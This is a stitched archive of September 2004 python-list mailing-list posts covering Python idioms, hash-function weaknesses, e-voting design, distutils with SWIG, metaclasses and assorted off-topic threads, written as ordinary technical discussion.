But I don't believe we could have designed +='s behavior to be
substantially clearer and yet just as useful as it is today, given all
the rest of the details about the way Python works; and I do believe
+='s usefulness is sufficient to warrant having it in Python.


Alex


From http  Sat Sep 11 14:16:28 2004
From: http (Paul Rubin)
Date: 11 Sep 2004 11:16:28 -0700
Subject: MD5 and SHA cracked/broken...
References: <slrnck6boc.l77.mlh@furu.idi.ntnu.no>
Message-ID: <7xacvwn01v.fsf@ruckus.brouhaha.com>

mlh at furu.idi.ntnu.no (Magnus Lie Hetland) writes:
> Basically, at Crypto 2004 preliminary papers were presented that
> pointed out weaknesses in MD5, SHA-0 and SHA-1. As far as I can tell,
> MD5 is broken and SHA-1 seems to be in a precarious position (even
> though I don't know the details at all).

MD5 and SHA-0 had collisions found.  The attack works against about
half the rounds in SHA-1, but that's not anything to worry about
unless it can be extended.  I'd stop short of calling SHA-1 "precarious".

> Perhaps it would be appropriate to add a note, warning or "See also"
> to the library documentation for the md5 and sha modules?

Yes, certainly for md5.

> Does anyone understand enough crypto-speak to figure out how
> problematic this all is, and what applications should be avoided?

md5 should not be used in new applications.  That's been known for a
long time.  SHA-1 is still ok.

> Also -- are there any alternative one-way functions that are still
> considered safe, and that could be useful as Python modules (in place
> of, perhaps, md5 and sha)?

There's new NIST hash functions, SHA-256, SHA-384, and SHA-512, whose
output is 256, 384, or 512 bits long, respectively, instead of 160
bits for SHA-1 or 128 bits for md5.  There are implementations
floating around and they should probably be added to the Python library.
It's most logical to just add them to the existing sha module.


From ptmcg at austin.rr._bogus_.com  Fri Sep  3 23:37:35 2004
From: ptmcg at austin.rr._bogus_.com (Paul McGuire)
Date: Sat, 04 Sep 2004 03:37:35 GMT
Subject: list conversion question
References: <mailman.2860.1094267481.5135.python-list@python.org>
Message-ID: <3Ma_c.13188$Dl4.3729@fe2.texas.rr.com>

"Kent Tenney" <kent at springfed.com> wrote in message
news:mailman.2860.1094267481.5135.python-list at python.org...
> Howdy,
>
> I am using PIL, and would like to
> make a list of the pixel values
> in an image, sorted by quantity of
> pixels with that value.
>
> im.histogram() returns a list which
> is a pixel count for each brightness value.
>
> So, I want to sort the histogram, and have
> the resulting list contain
> the indexes instead of the counts.
>
> This seems like it'd be a fairly common
> task, but I don't know what to call
> it to look for guidance.
>
> Any help is appreciated.
>
> Thanks,
> Kent
>
Assuming im.histogram() returns a list like [ 0, 1, 0, 5, 43, etc. ] how
about:

hist = [ 0, 1, 0, 5, 43 ]
values = [ i for i in enumerate(hist)]
values.sort(lambda a,b: cmp(b[1],a[1]))
indexes = [ a for a,b in values ]

-- Paul




From skip at pobox.com  Wed Sep  8 11:22:39 2004
From: skip at pobox.com (Skip Montanaro)
Date: Wed, 8 Sep 2004 10:22:39 -0500
Subject: %a format
In-Reply-To: <20040908130837.GB4749@grulic.org.ar>
References: <20040907182925.GA27643@grulic.org.ar>
	<16702.1779.773067.819528@montanaro.dyndns.org>
	<20040908130837.GB4749@grulic.org.ar>
Message-ID: <16703.9151.854368.874866@montanaro.dyndns.org>

    John> Is there any reason python's printf-style formatting is missing
    John> the (C99) '%a' specifier?

    >> Can you provide a patch against Objects/stringobject.c in the
    >> distribution?  Note that Python uses sprintf() to do its dirty work,
    >> so any patch would have to implement %a itself to remain compatible
    >> with C89.

    John> is remaining compatible with C89 a requirement?

For the forseeable future I suspect so.  It was only a couple years ago that
ANSI C became a requirement for building CPython.  Martin v. L?wis could
provide a more authoritative response.

Skip


From elbertlev at hotmail.com  Wed Sep  8 14:19:04 2004
From: elbertlev at hotmail.com (Elbert Lev)
Date: 8 Sep 2004 11:19:04 -0700
Subject: Remove items from a list
References: <ysv%c.32876$Dl4.14767@fe2.texas.rr.com>
Message-ID: <9418be08.0409081019.7f641674@posting.google.com>

"Stan Cook" <scook at elp.rr.com> wrote in message news:<ysv%c.32876$Dl4.14767 at fe2.texas.rr.com>...
> I was trying to take a list of files in a directory and remove all but 
> the ".dbf" files.  I used the following to try to remove the items, but 
> they would not remove.  Any help would be greatly appreciated.
> 

# Assume we want files in working directory
import glob
import os.path

#If you want to have the list of dbf files try this:
lst = glob.glob("*.dbf")
print "lst = glob.glob(\"*.dbf\")"
print lst

# If you want to have the list of files, which do not have dbf extension:
lst = [x for x in glob.glob("*.*") if os.path.splitext(x) != "dbf"]
print "lst = [x for x in glob.glob(\"*.*\") if os.path.splitext(x) != \"dbf\"]"
print lst


From http  Fri Sep 10 02:33:32 2004
From: http (Paul Rubin)
Date: 09 Sep 2004 23:33:32 -0700
Subject: Electronic voting feasibility
References: <chr77a$4gj@odak26.prod.google.com>
Message-ID: <7xmzzyd45f.fsf@ruckus.brouhaha.com>

"Greg  Steffensen" <greg.steffensen at gmail.com> writes:
> I'm designing a web portal for universities (a free software, by/for
> students thing), and I'm considering including an electronic voting
> component.  The site is cute, but I'd like the internet voting
> component to be close to the real deal,as well as easy to install, use
> and verify.

What is going to be voted on?  Are you going to poll students about
their favorite color of socks?  Or are you going to have real elections
where there is enough at stake that you have to be concerned about
serious attempts to rig the polling?

> Are there any technical reasons that Python would be a poor choice for
> this?  I have no illusions that its possible to build a perfect system,
> but would Python be more vulnerable than C or Java for some reason?
> I'm not a security guru, but it seems to me that the security of the
> interpreter is meaningless next to the security of the os kernel (the
> core of the system involves a series of nodes- election observers-
> taking an encrypted package, encrypting it again, and passing it on...
> the disk is never touched), so choice of language is largely arbitrary.
> Is this wrong?  

Everything you say above is correct.  

> Are there reasons to choose/avoid Python?

As compared with other languages, Python is as good a choice as any.
But the whole concept of internet voting, at least for high-stakes
elections (like, say, the US Presidential election), is fundamentally
unsound and should be avoided.  For lower-stakes elections it can be
done reasonably securely and convincingly, if the implementers are
honest, and if the voters can be persuaded to trust the implementers.


From aleaxit at yahoo.com  Sun Sep  5 13:27:00 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Sun, 5 Sep 2004 19:27:00 +0200
Subject: What about an EXPLICIT naming scheme for built-ins?
In-Reply-To: <864d370904090413356356d84d@mail.gmail.com>
References: <opsdq5katd35jo5o@news.gmane.org>
	<864d370904090306333b53ef56@mail.gmail.com>
	<59e9fd3a04090307154bfd6fd8@mail.gmail.com>
	<mailman.2838.1094223946.5135.python-list@python.org>
	<1gjjy5c.k1wnvwp3qfnpN%aleaxit@yahoo.com>
	<864d370904090413356356d84d@mail.gmail.com>
Message-ID: <CBB882B2-FF60-11D8-A6A1-000A95EFAE9E@yahoo.com>


On 2004 Sep 04, at 22:35, Carlos Ribeiro wrote:

...lots of interesting things snipped to focus on one pet peeve of 
mine;-)...:

> list (more on this later). As for reversed(), a simple idiom can be
> used to return a new, reversed list:
>
> reverse_list = [x for x in reversed(mylist)]

Or, vastly better IMHO, one could equivalently code.

reversed_list = list(reversed(mylist))

I don't understand why some people want to use list comprehensions 
instead of simple calls to list().  I feel the latter is more readable 
and more concise at the same time.  Moreover, I understand that 
worrying about such things as performance is uncouth, but, on my 
old-ish 12" iBook with Python 2.4 alpha 3:

$ python ~/cb/timeit.py -s'r=range(1000)' 'list(reversed(r))'
10000 loops, best of 3: 99 usec per loop

$ python ~/cb/timeit.py -s'r=range(1000)' '[x for x in reversed(r)]'
1000 loops, best of 3: 706 usec per loop

Dunno 'bout you guys, but I can't really afford to throw away a factor 
of SEVEN in a perfectly ordinary task in such a fashion...

> To put the question bluntly, **is there any reason to implement either
> isorted() or reversed()**? The arguments (pro and against) are as
> follows:
>
> PRO:
> -- it's possible, and relatively easy to implement
> -- completeness
> -- consistency
> -- native implementation would perform better in some cases
> -- the existing idioms may not be immediately clear to the novice (see
> example above)

I think the existing idiom list(reversed(seq)) is perfectly clear to 
the novice and there would be no very significant performance gain in 
having one builtin doing both.  isorted is a different case, not 
trivial for the novice to implement.  However, I suspect that the use 
cases for isorted are typically the same as those for my own pet 
accumulator function (which isn't in the builtins, nor anywhere in the 
standard library -- so far...), top(N, seq), which IMHO should return a 
list (of length min(N, len(seq)) -- seq doesn't need to support 
len(seq) but I hope this pseudocode is clear anyway;-).  I'm not sure 
the performance for a direct implementation of top(N, seq) can 
substantially beat list(itertools.islice(isorted(seq), N)), but, if I'm 
right in thinking that 'top' covers most use cases for isorted, then 
clearly it's more concise than the idiom based on isorted and islice, 
way clearer to novices, AND can get _at least_ marginally better 
performance.  [[of course top, like isorted, should have the same key= 
and reversed= keywords as sorted and list.sort, and so should heapq 
even though sadly currently it doesn't, but, anyway, the assumption 
that reversed= is there is why I don't worry about whether we're 
getting the highest N _or_ the lowest N items...:-).

> AGAINST:
> -- just because it's possible does not means that it's a good idea
> -- more bloat in the standard library
> -- more builtins to pollute the namespace
> -- more thing for a novice to learn
> -- quoting Alex Martelli: practicality beats purity

I was of course quoting Tim Peters -- try:
    >>> import this
at any interactive Python prompt to get all of his "Zen of Python" 
(recommended -- Anna and I even chose it among our marriage's readings, 
together with Petrarca, Lucretius, Blake, and Dickinson...!-)

>
> Given the arguments, I agree that it's better to leave it as it is
> (but changing the name of reversed() to ireversed(), as proposed on
> (1)).

I see your point about the name change, but: you have about 2-3 weeks' 
time to convince _Guido_ (once Python 2.4 is out of alpha and into beta 
it's too late!), and thus you should be posting on python-dev, as he 
doesn't read c.l.py any more -- I suggest you write up the name change 
part only, concisely, and post to python-dev... you do have a chance to 
convince him, at least if Raymond Hettinger (python's current iteration 
guru, inventor of both reversed and itertools and chief implementor 
thereof, among many other precious contribution to the last few Python 
versions!) sees things your way.  I would suggest you traipse the 
python-dev archives for a few months' back before you write there, 
because the issue of reversed's naming WAS discussed before Raymond 
added it to CVS, so your thesis will be more convincing if it 
acknowledges and rebuts the arguments against it, too.


> A sorting generator is useful IF:
>
> -- you know you aren't going to need the entire sorted list;
> -- just a few elements will do.
>
> A particular situation is where you don't know in advance exactly how
> many elements you need; in this case, a sorting generator is probably
> the best approach.

If you have a reasonably tight upper bound on the number of elements 
you may need, 'top' will still beat 'isorted'.  I can't think of a use 
case where I would NOT have such a bound -- can you suggest some?


> My best bet, now, is writing a cookbook solution to implement a
> "pseudo-sort-generator" using the heapq library. It's a good proof of
> concept, and may help to illuminate the question with a practical
> tool.

We _do_ have one, by the way:

<recipe id="280501">
    <title>Lazy sorting</title>
    <authorfirst>Matteo</authorfirst>
    <authorlast>Dell'Amico</authorlast>   <updated>2004/05/03</updated>

...(rest snipped, look it up for yourself;-)...

>
>
> p.s.:
>
> [Alex Martelli]
>> If you hadn't responded publically I'd never would have
>> got a chance to object, so of course I don't mind!-)
>
> It's always a pleasure to have you participating, even after you have
> effectively killed most of my arguments :-) I just feel honored ;-)

Why, thanks!  The one argument I can't "kill" is the one for ireversed 
as a better name than reversed; I don't know if you're right or wrong, 
your arguments make sense to me but so do the counter-arguments that 
were hashed forever on python-dev months ago...


Alex



From nospam at [127.0.0.1]  Fri Sep 24 14:52:36 2004
From: nospam at [127.0.0.1] (Chris)
Date: Fri, 24 Sep 2004 19:52:36 +0100
Subject: Drawing sound
Message-ID: <ttNMvZB0zGVBFwRQ@[127.0.0.1]>

I want a program that can "draw" sound.

Imagine drawing a graph of frequency against time -
and then being able to play it over the computer speakers.

Can this be done in Python?

As a start, consider this simple QBASIC program that generates random 
frequencies:

10 frequency = 40 + 400 * RND
20 SOUND frequency, 7
30 GOTO 10

That's fine - except that it plays over the PC speaker - the one that's 
just there for the happy beep - and not through the sound card and 
proper speakers.

Can that be done in Python?
Or in any other language?
-- 
Chris


From bgabriel at cloudthunder.com  Wed Sep 29 15:53:30 2004
From: bgabriel at cloudthunder.com (Bishara Gabriel)
Date: Wed, 29 Sep 2004 15:53:30 -0400
Subject: Social Analysis and Modeling for Python
In-Reply-To: <cjf1mf$jtc$0$216.39.172.122@theriver.com>
References: <mailman.4083.1096472628.5135.python-list@python.org>
	<cjf1mf$jtc$0$216.39.172.122@theriver.com>
Message-ID: <415B12BA.9050100@cloudthunder.com>

Marxian class analysis is particularly suited to this demonstration but 
in our demonstration model we will operate from multiple theoretical 
constructs, displaying the power of our method.  The intent is to show 
how Python is well suited to social analysis and not the other way 
around.  I hope this is clear.

What particular realms are you referring to when you speak of adding value?

Your feedback is much appreciated, thank you.

Sincerely,
Bishara Gabriel

>I am sure Python can be a great tool, but why no citations re existing
>"social models" that you mention? If you propose to "... show
>how social models can be mentally approached in such a way that there
>exists a one-to-one correlation between their theoretical model and the
>Python equivalent," ISTM your proposal would sound more concrete if you
>pointed to a specific "theoretical model" as your choice for a
>how-to-do-it-with-Python demonstration.
>
>Also citations of related work, and why your project adds value (besides
>advertising our favorite language ;-)
>
>Regards,
>Bengt Richter
>  
>



From exarkun at divmod.com  Sun Sep 19 15:47:04 2004
From: exarkun at divmod.com (exarkun at divmod.com)
Date: Sun, 19 Sep 2004 19:47:04 GMT
Subject: Documentation? file/open with tea
In-Reply-To: <20040919114037.208539021.whereU@now.com>
Message-ID: <20040919194704.29723.1956543404.divmod.quotient.3636@ohm>

On Sun, 19 Sep 2004 11:40:37 -0800, "Eric Pederson" <whereU at now.com> wrote:
>WryPyY's-
> 
> I've come across this file operation in others' code and have not seen any =
> documentation for it: the use of "t" in the mode of file opening, such as:
> 
> f1=3Dopen(somefile, 'at')
> f2=3Dopen(otherfile, 'rt')
> 
> [to be clear, I am talking about 't' tea, not '+' plus]
> 
> Is this merely another shorthand for a binary mode, or is there more going =
> on with 't'?

  't' is the opposite of 'b'.  It's short for "text".  It is also the default, so the above could be rewritten as open(somefile, 'a') or open(otherfile, 'r') with no change in meaning.

  Jp


From anna at aleax.it  Sun Sep 26 08:17:46 2004
From: anna at aleax.it (Anna Martelli Ravenscroft)
Date: Sun, 26 Sep 2004 12:17:46 GMT
Subject: Math errors in python
In-Reply-To: <1gkdk3g.3ivp7amnqsw1N%aleaxit@yahoo.com>
References: <linok0tk1d0cftbh9092j31mpglj2petls@4ax.com>
	<pan.2004.09.19.13.27.17.613143@jerf.org>
	<Ooa3d.318$Pz3.245@trndny01>
	<mailman.3490.1095579571.5135.python-list@python.org>
	<70b3d.1822$uz1.747@trndny03>
	<mailman.3494.1095586574.5135.python-list@python.org>
	<7xfz5ein0h.fsf@ruckus.brouhaha.com>
	<1gkdk3g.3ivp7amnqsw1N%aleaxit@yahoo.com>
Message-ID: <Kry5d.3492$85.351848@news3.tin.it>

Note: I posted a response yesterday, but it apparently never appeared (I 
was having some trouble with my newsreader) so I'm posting this now. My 
apologies if it is a duplicate.

Alex Martelli wrote:
> Paul Rubin <http://phr.cx at NOSPAM.invalid> wrote:
>    ...
> 
>>The issue here is that Python's behavior confuses the hell out of some
>>new users.  There is a separate area of confusion, that
>>
>>   a = 2 / 3
>>
>>sets a to 0, and to clear that up, the // operator was introduced and
>>Python 3.0 will supposedly treat / as floating-point division even
>>when both operands are integers.  That doesn't solve the also very
>>common confusion that (1.0/3.0)*3.0 = 0.99999999.  Rational arithmetic
>>can solve that.
> 
> 
> Yes, but applying rational arithmetic by default might slow some
> computations far too much for beginners' liking!  My favourite for
> Python 3.0 would be to have decimals by default, with special notations
> to request floats and rationals (say '1/3r' for a rational, '1/3f' for a
> float, '1/3' or '1/3d' for a decimal with some default parameters such
> as number of digits).  This is because my guess is that most naive users
> would _expect_ decimals by default...

I agree. Naive (eg, non-CS, non-Mathemetician/Engineer) users who grew 
up with calculators and standard math courses in school may have never 
even heard of floats! (I made it as far as Calculus 2 in college, but 
still had never heard of them.)

This brings me to another issue. Often c.l.py folks seem surprised that 
people don't RTFM about floats before they ask about why their math 
calculations aren't working. Most of the folks asking have no idea they 
are *doing* float arithmetic, so when they try to google for the answer, 
or look in the docs for the answer, and skip right past the "Float 
Arithmetic" section of the FAQ and the Tutorial, it's because they're 
not DOING float arithmetic - that they know of... So, of course they 
won't read those sections to look for their answer, any more than they'd 
read the Complex Number calculations section...  People who know about 
floats con't need that section - the ones who do need it, con't know 
they need it.

If you want people to find those sections when they are looking for 
answers to why their math calculations aren't working - I suggest you 
remove the "FLOAT" from the title. Something in the FAQ like: "Why are 
my math calculations giving weird or unexpected results?" would attract 
a lot more of the people you WANT to read it. Once you've roped them in, 
*then* you can explain to them about floats...

Anna Martelli Ravenscroft


From nhodgson at bigpond.net.au  Sat Sep 11 06:36:09 2004
From: nhodgson at bigpond.net.au (Neil Hodgson)
Date: Sat, 11 Sep 2004 10:36:09 GMT
Subject: scripting a web site w/Javascript
References: <41420050$1@news.vo.lu>
Message-ID: <tyA0d.26769$D7.14468@news-server.bigpond.net.au>

Patrick Useldinger:

> I would like to script a specific website. I've had a start with
> httplib, but now I need to push a button (<input type=button>) that
> triggers a Javascript function and then directs to some URL. Obviously,
> I cannot just go to the URL because the function would not get executed.
>
> Can something like this be done via httplib? If not, is there a library
> available to do it?

http://wwwsearch.sourceforge.net/DOMForm/

   The JavaScript didn't work out for me a few months ago but the other
libraries available from this site helped write some tools for testing a web
site.

   Neil




From peter at engcorp.com  Wed Sep 22 22:41:05 2004
From: peter at engcorp.com (Peter Hansen)
Date: Wed, 22 Sep 2004 22:41:05 -0400
Subject: newby poject
In-Reply-To: <41523005$1@dnews.tpgi.com.au>
References: <41523005$1@dnews.tpgi.com.au>
Message-ID: <rcOdne1oYLdcqs_cRVn-rA@powergate.ca>

dit wrote:
> I want to start something small, like a learning program. I've been 
> looking and learning python for about 4 months; and I think that I have 
> the basics under my belt... is it worth trying my own project, or is it 
> better to continue with the py tutes?

After four months you should definitely be trying to build something
rather than just going through tutorials.  There's a difference
between the sort of "passive" learning you get from a tutorial,
even an interactive one, and what you'll learn by actively attempting
to accomplish something.  (And I use the word "attempting" deliberately.
It's often the case that the first few projects someone undertakes
don't ever actually get anywhere, but they're worthwhile nonetheless
just for the active learning you'll get out of them.)

> Also if I was to start, how do I pose myself the question of what am I 
> actually trying to achieve / what am I trying to make?

The usual response is something along the lines of "what problems
do you have that you would like to try to solve using your computer?"
Some people want to organize their [insert favourite collectible here].
Others want to create a game, though what "problem" that solves is
uncertain.  Take a look through any site like SourceForge and you'll
discover the wide array of possibilities, many of them with
eighteen simultaneous attempts to accomplish the same goals...

By the way, there's a possible "in between" stage that you might
not have considered, after doing tutorials and before attempting
your own project.  Take the source code for some existing program
and figure out how to munge it to add a feature, fix a problem,
or just mess with it.  Doing this with games ("Star Trek" in BASIC,
for example) was how I learned more after reading a few books
long ago.  If you wanted to learn more about wxPython and GUI
programming, for example, you could hack on the wxPython Demo
program and change the way things work.

Not only will you learn a number of the same things you would
learn trying to write something on your own, but you will also
learn about a variety of programming styles (some good, some bad)
and about code maintenance.  If you learn the right things by
trying to maintain someone else's code, you will someday be
the sort of programmer whose code is seen as a model of clarity
and elegance, because you'll know just how *bad* code can be
when it's written poorly!  Never pass up the opportunity to
learn from another's code.

It's also not quite as disheartening to toy around this way
with an existing program, and ultimately accomplish little,
than it is to undertake your "first big project" only to
find, as many of us have, that for various reasons it doesn't
get far.  Maybe others have had different experiences, but
I found it somewhat disturbing how often my early attempts
failed to be finished, until I learned more about the realities
of software development, and became well-rounded enough that
I had a hope of getting most of the way through a project.

-Peter


From abkhd at earth.co.jp  Mon Sep 13 16:52:36 2004
From: abkhd at earth.co.jp (A. B., Khalid)
Date: 13 Sep 2004 13:52:36 -0700
Subject: Sample distutil setup.py script that uses SWIG and C++?
References: <283adf56.0409130434.2ae0ba73@posting.google.com>
Message-ID: <8ad8ad0a.0409131252.59881a85@posting.google.com>

kdahlhaus at yahoo.com (Kevin Dahlhausen) wrote in message news:<283adf56.0409130434.2ae0ba73 at posting.google.com>...
> Could anyone post a simple setup.py script that uses a SWIG interface
> to C++ code  and the mingw compiler?
> 
> I followed some online samples, and am using the setup.cfg file to
> specify swig-c++=1.
> 
> Trying to build using mingw out of the cygwin environment but the
> final call to link the extension calls directly to 'cc' which I think
> should really be g++ at that point.
> 
> Did get everything to build with a Makefile, but that's not the right
> way to go.


Maybe my pyMinGW can help you. Though still not 100% done, pyMinGW
includes a patch to distutils so as (among other things) to fix that
which you ask about.

Read about pyMinGW here:
http://jove.prohosting.com/iwave/ipython/pyMinGW.html

There is also a CPP-Swig example found in the Mingw\extensions
directory of both py24a3MinGW-004a.zip, and py234MinGW-015.zip.

Before you do anything, please backup the following files:

    [1] Lib/distutils/ccompiler.py
    [2] Lib/distutils/cygwinccompiler.py
    [3] Lib/distutils/unixccompiler.py
    [4] Lib/distutils/command/build_ext.py


in case you don't like the patch, and would like to restore your
distutils to its original state. Once you've done that then you can
replace those four files with the ones in the patch. Hopefully that'll
do it for you.



--
Q. The purpose of life?

[A]: "I created the jinn and humankind only that they might 
     worship Me." (Translation, Qur'an, 51:56)

[B]: "Let us hear the conclusion of the whole matter: 
     Fear God, and keep his commandments: for this is the 
     whole duty of man." (KJV, Ecclesiastes 12:13)


From jzgoda at gazeta.usun.pl  Sat Sep 25 14:21:04 2004
From: jzgoda at gazeta.usun.pl (Jarek Zgoda)
Date: Sat, 25 Sep 2004 18:21:04 +0000 (UTC)
Subject: Access to MS SQL from Linux?
References: <mailman.3764.1095928105.5135.python-list@python.org>
	<e838aa6e.0409241234.60ac4645@posting.google.com>
Message-ID: <cj4cug$gf7$1@atlantis.news.tpi.pl>

A. Lloyd Flanagan <alloydflanagan at comcast.net> pisze:

>> > Is there any Python library for accessing MS SQL server 
>> > from a Linux machine? Either open source or commerical one will do for me.
> 
> I would think the ODBC driver would be the first choice.  ODBC is
> Microsoft's spec, they generally support it pretty thoroughly.  You
> could check out the Win32 stuff and use COM to talk to an ADO server,
> if you felt really ambitious.

ODBC definitely is not a Microsoft spec (it was produced in early 90's
by SQL Access Group, now part of X/Open, see
http://www.rdg.opengroup.org/public/news/nov95/sqlaccgp.htm). OLEDB is.

-- 
Jarek Zgoda
http://jpa.berlios.de/ | http://www.zgodowie.org/


From bokr at oz.net  Sat Sep  4 19:16:27 2004
From: bokr at oz.net (Bengt Richter)
Date: 4 Sep 2004 23:16:27 GMT
Subject: YOU ALL SUCK!
References: <1bf5bcb9.15695836@aol.com>
	<Xns9558DF032E46ebohlmanomsdevcom@130.133.1.4>
	<chctqv$e50$0$216.39.172.122@theriver.com>
	<4139FCDA.8020601@jessikat.fsnet.co.uk>
	<chdahm$sdp$0$216.39.172.122@theriver.com>
Message-ID: <chdicb$ots$0$216.39.172.122@theriver.com>

On 4 Sep 2004 21:02:46 GMT, bokr at oz.net (Bengt Richter) wrote:

>On Sat, 04 Sep 2004 18:35:22 +0100, Robin Becker <robin at SPAMREMOVEjessikat.fsnet.co.uk> wrote:
[...]
>>
>>wow! my litle chomsky :)
>>

I was curious, so I googled for "CHOMSKY is an aid to writing linguistic papers in the style"
and found the lisp source:

    http://www-personal.umich.edu/~jlawler/foggy.lsp

and backed up to the home page below that and found a faq:

    http://www-personal.umich.edu/~jlawler/foggy.faq.html

Also a web implementation where you can get all the wisdom you want:

    http://www.daydream.org.uk/meng/eChomsky/

(other interesting links too, if human language interests you ;-)

Regards,
Bengt Richter


From michele.simionato at gmail.com  Tue Sep 28 04:42:17 2004
From: michele.simionato at gmail.com (Michele Simionato)
Date: 28 Sep 2004 01:42:17 -0700
Subject: Metaclass to make all methods of a class thread-safe
References: <415728eb$0$78753$e4fe514c@news.xs4all.nl>
	<4edc17eb.0409270141.4faf130c@posting.google.com>
	<41586889$0$568$e4fe514c@news.xs4all.nl>
Message-ID: <4edc17eb.0409280042.5709f6ab@posting.google.com>

Irmen de Jong <irmen at -nospam-remove-this-xs4all.nl> wrote in message news:<41586889$0$568$e4fe514c at news.xs4all.nl>...
> Built-in methods such as?

This is instructive:

>>> class C(object): pass
...
>>> for attr in dir(C): print attr, type(getattr(C,attr))
...
__class__ <type 'type'>
__delattr__ <type 'wrapper_descriptor'>
__dict__ <type 'dictproxy'>
__doc__ <type 'NoneType'>
__getattribute__ <type 'wrapper_descriptor'>
__hash__ <type 'wrapper_descriptor'>
__init__ <type 'wrapper_descriptor'>
__module__ <type 'str'>
__new__ <type 'builtin_function_or_method'>
__reduce__ <type 'method_descriptor'>
__reduce_ex__ <type 'method_descriptor'>
__repr__ <type 'wrapper_descriptor'>
__setattr__ <type 'wrapper_descriptor'>
__str__ <type 'wrapper_descriptor'>
__weakref__ <type 'getset_descriptor'>


For instance object.__new__ is a "builtin_function_or_method"

> About the other objects: I only cared about wrapping class methods.
> Shouldn't I have / should I use something else than FunctionType?

Yes, if you want to wrap staticmethods/classmethods and custom descriptors.
 
> There is one thing though; methods that you're accessing trough the
> class's __dict__ (which is what the meta class is doing, right?)
> are of type <function>, rathar than <instancemethod> which I expected:
> 
>  >>> class A:
> ...  def meth(self): pass
> ...
>  >>> type(A.meth)
>  <type 'instancemethod'>
>  >>> type(A.__dict__['meth'])
>  <type 'function'>
>  >>>
> 
> Why is this?

Google for Raymond Hettinger essay on descriptors and you will have
the answer. There is no real difference between functions and methods,
they are all descriptors and can be converted each other. For instance,
this converts a function to a bound method:

>>> def f(self): pass
...
>>> f.__get__(C(),C) # magically converts the function to a bound method
<bound method C.f of <__main__.C object at 0x403b7f8c>>
>>> f.__get__
<method-wrapper object at 0x403b7f4c>

You should really look at Raymond's essay to understand what is going on
under the cover when you write

>>> C.m = f # magically convert the function to a bound method
>>> C().m
<bound method C.f of <__main__.C object at 0x403b7f0c>>

                Michele Simionato


From martin at v.loewis.de  Sun Sep  5 05:20:51 2004
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Sun, 05 Sep 2004 11:20:51 +0200
Subject: extending Python error
In-Reply-To: <mailman.2886.1094350017.5135.python-list@python.org>
References: <mailman.2865.1094303426.5135.python-list@python.org>	<4139bfd3$0$24800$9b622d9e@news.freenet.de>	<1094305410.4139c682b1dc0@www-mail.usyd.edu.au>	<4139CE64.5090708@v.loewis.de>
	<mailman.2886.1094350017.5135.python-list@python.org>
Message-ID: <413ada6c$0$13008$9b622d9e@news.freenet.de>

Ajay wrote:
> C:\Windows CE Tools\wce300\Pocket PC 2002\atl\include\atlbase.h(5395) :
> error C2664: '__WinCE_OutputDebugStringA' : cannot convert parameter 1
> from 'const unsigned short *' to 'const char *'
>         Types pointed to are unrelated; conversion requires
> reinterpret_cast, C-style cast or function-style cast

So what is line 5395 of atlbase.h?

Regards,
Martin


From hung_ho at rogers.com  Thu Sep  2 14:44:04 2004
From: hung_ho at rogers.com (Hung ho)
Date: Thu, 02 Sep 2004 18:44:04 GMT
Subject: explainations about standard library and modules in Python.
Message-ID: <URJZc.172448$UTP.96931@twister01.bloor.is.net.cable.rogers.com>

Hi.
   I just finished reading an introductory Python book called "Python Programming for the absolute beginner" by Michael Dawson. I found it very interesting, and easy to follow. Python does really look similar to C/C++ and Java. In the book, the author imported other modules that were from the standard library of Python. I tried reading some of the modules in the standard library in Python's Lib folder. I'm just a beginner to Python, and didn't understand anything in any of the modules.
   My question is that, can anyone recommend me any book, or online materials that could explain what the functions some of the modules in the standard library can do that are packaged along with Python v. 2.3.4?. For example, I read some modules such as os.py, sys.py, and random.py The documents in those modules didn't help me to comprehend what the purpose of the modules, and how to use them in Python. What are their functions, and how do I use them.
   Thank You.


From wyrmwif at tango-sierra-oscar-foxtrot-tango.fake.org  Tue Sep 21 04:44:20 2004
From: wyrmwif at tango-sierra-oscar-foxtrot-tango.fake.org (SM Ryan)
Date: Tue, 21 Sep 2004 08:44:20 -0000
Subject: Xah Lee's Unixism
References: <s0utk01omk8aipn7vclocmdgokfu66bu2g@4ax.com>
Message-ID: <10kvqf4sr02fia0@corp.supernews.com>

# >They have committees, they don't have independent
# >intelligence-gathering ability.
# >
# Neither does President Bush - he doesn't have time for all those field
# trips. That's why he gets reports from the various intelligence
# agencies, who also report to the Congressional intelligence
# committees.

You're right. He is the Excuses president.

In case you missed reading the Constitution in school, briefly, the CIA,
the DoD and its intelligence staffs, the State Department and its intelligence
staffs, the FBI, DoJ, BATF, etc etc etc etc are all part of the executive
branch. The only elected officer of the executive branch, from whom all other
executive officers draw their authority, is the President.

In short, ding dong, the President _does_ have independent intelligence
gatherring ability. It's called the executive branch, and it's at his
beck and call for all legal orders. It's that commander in chief bit.

--
SM Ryan http://www.rawbw.com/~wyrmwif/
I have no respect for people with no shopping agenda.


From erik at heneryd.com  Mon Sep 13 12:43:52 2004
From: erik at heneryd.com (Erik Heneryd)
Date: Mon, 13 Sep 2004 18:43:52 +0200
Subject: help: up/down arrows in 2.3.4 interactiv
In-Reply-To: <ci4i04$1h1v$1@ulysses.noc.ntua.gr>
References: <ci4i04$1h1v$1@ulysses.noc.ntua.gr>
Message-ID: <4145CE48.50605@heneryd.com>

Jerald wrote:
> Hi.
> 
> I've just installed 2.3.4 from the source on a linux box.
> In the interactive mode, up/down arrows do not work.
> When I press 'up' python prints '^[[A' and down gives '^[[B'
> What is wrong?
> 
> Thanks,
> 
> Gerald

You need to build the readline module.  Enable it in Modules/Setup and 
do make, make install again.

(assuming you got the readline lib+headers to begin with)


Erik


From jerf at jerf.org  Wed Sep  1 16:38:56 2004
From: jerf at jerf.org (Jeremy Bowers)
Date: Wed, 01 Sep 2004 20:38:56 GMT
Subject: Announcing PyCs, a new Python-like language on .Net
References: <1aj14grs82tj.1eso0930azfaa$.dlg@40tude.net>
	<mailman.2573.1093758218.5135.python-list@python.org>
	<1093794853.349452@news.commspeed.net>
	<mailman.2711.1094020820.5135.python-list@python.org>
	<7Y2dncuabfymLajcRVn-gw@powergate.ca>
	<1iok6gznts9ad.ch1w241kak6y.dlg@40tude.net>
Message-ID: <pan.2004.09.01.16.39.03.778189@jerf.org>

On Wed, 01 Sep 2004 12:59:20 -0700, Mark Hahn wrote:

> On Wed, 01 Sep 2004 07:19:21 -0400, Peter Hansen wrote:
>> http://pyxie.sourceforge.net/
>> 
>> Best to avoid homonyms too, I think.  Try again.
> 
> I see no problem with homonyms, unless it was another computer language.

I too would recommend against this. 

